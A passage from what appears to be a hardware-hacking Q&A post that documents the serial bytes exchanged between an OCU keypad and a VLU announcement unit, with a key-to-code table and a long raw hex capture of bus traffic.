immediately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22 00 7E 91 04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this, the following six (again, represented in hex) comes through, repeating approximately every 10 seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22 00 83 87 80 D1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a key is pressed on the OCU keypad, the six bytes above aren't sent. Instead, they're replaced with a different set of bytes, according to the following table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;MENU&quot;,             22 00 83 87 3D 09&#xA;&quot;ESC&quot;,              22 00 83 87 C9 01&#xA;&quot;CLK&quot;,              22 00 83 87 17 2F&#xA;&quot;RTE&quot;,              22 00 83 87 5B 1E&#xA;&quot;P/R&quot;,              22 00 83 87 5F 1D&#xA;&quot;DEST A&quot;,           22 00 83 87 3B 26&#xA;&quot;DEST B&quot;,           22 00 83 87 39 (yes, this one is only five bytes)&#xA;&quot;PLAY MSG&quot;/&quot;A&quot;,     22 00 83 87 7D 05&#xA;&quot;REPEAT&quot;/&quot;B&quot;,       22 00 83 87 7B 16&#xA;&quot;SAFETY MSG&quot;/&quot;C&quot;,   22 00 83 87 79 0B&#xA;&quot;MIC VOLUME&quot;/&quot;D&quot;,   22 00 83 87 77 17&#xA;&quot;EXT LOOP&quot;/&quot;E&quot;,     22 00 83 87 75 01&#xA;&quot;STOP MSG&quot;/&quot;F&quot;,     22 00 83 87 73 18&#xA;&quot;ENTER&quot;,            22 00 83 87 E5 EF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I mentioned, that all happens if the VLU is &lt;strong&gt;unplugged&lt;/strong&gt; from the OCU before the OCU is turned on. If it's left plugged in to one of the DB9F ports on the OCU (as it will be in normal use), the following comes through over the other one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22 00 7E 91 04&#xA;22 00 83 87 80 D1&#xA;22 00 83 87 80 D1&#xA;1E 00 06 7D 7A 7F FF FF 1E 00 06 7D BD FF FF FF 1E 00 06 7D 7A BF FF FF 1E 00 06 7D BD BF FF FF 1E 00 06 7D 7A BD FF FF 1E 00 06 BE EF FF FF F5 1E 00 06 BE EF FF FF FF 1E 80 C8 1E 80 C8 1E 80 C8 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 06 BE EF FF FF FF 1E 00 06 78 3E BD BA FD 7E BF BF BF BF BF BF 77 06 7C BE BD 5B FD 9F 9F FD 1E 00 06 78 BE BD 59 FD BF BF BF BF 59 0D 19 17 35 25 59 1E 00 06 7A BE BD 57 FD BF 59 17 3D 1B 17 A5 1E 00 2A 21 1E 1E F6 1D 32 1E 80 C8 1E F6 1D 32 1E 80 C8 B3 1E 80 C8 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E F6 1D 32 1E F6 1D 32 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 06 78 BE BD 5D FD BF BF 77 6D 7D 71 BF 6D 63 BF A3 1E 00 06 79 BE BD 5B FD 5F 5B 61 71 5B 75 59 59 1E 00 06 78 BE BD 59 FD BF BF BF BF 5F 67 75 7D 59 75 C3 1E 00 06 BD BE BD 57 FD BF 51 7D 6D 57 F1 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E F6 1D 32 1E 80 C8 1E 80 C8 B3 1E F6 1D 32 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 BF 1E 00 06 21 7E 1E 56 9F 05 1E 32 9F 0B 1E F6 47 06 1E F6 1D 32 C8 56 21 71 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E F6 1D 32 1E F6 1D 32 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E F6 1D 32 1E F6 1D 32 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E F6 1D 32 1E F6 1D 32 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E F6 1D 32 22 00 83 87 80 D1 1E F6 1D 32 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 06 BE EF FF FF F5 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 06 BE EF FF FF F5 1E 00 06 78 BE BD 5D FD 9D C2 7B 41 65 59 AE 79 41 69 4F 1E 00 06 BC BE 3D 5B F4 67 6D 63 75 53 6D 9C 9D 1E 00 06 78 3E BD 59 FD BF BF 57 1B 3D 23 19 33 1E 00 06 DE EB FF 57 FD BF 79 35 23 17 35 1B 4D 1E 00 05 7D D7 F6 36 E6 36 06 1E 00 05 7D D7 F6 66 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 9F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 66 FB 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 E6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 1F 67 B4 D6 F6 36 02 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 E6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 66 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 2A 21 1E 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 F3 D6 F6 36 02 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 74 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 2A 21 1E 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 E6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 9D 9F 33 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 22 00 83 87 80 D1 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 2A 21 1E 1E 56 1A 0F 1E 56 22 0E 22 85 5F 36 FB 1E 00 05 7E 59 7F 0F 1E 00 06 21 7E 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 7D D7 F6 36 76 36 06 1E 00 05 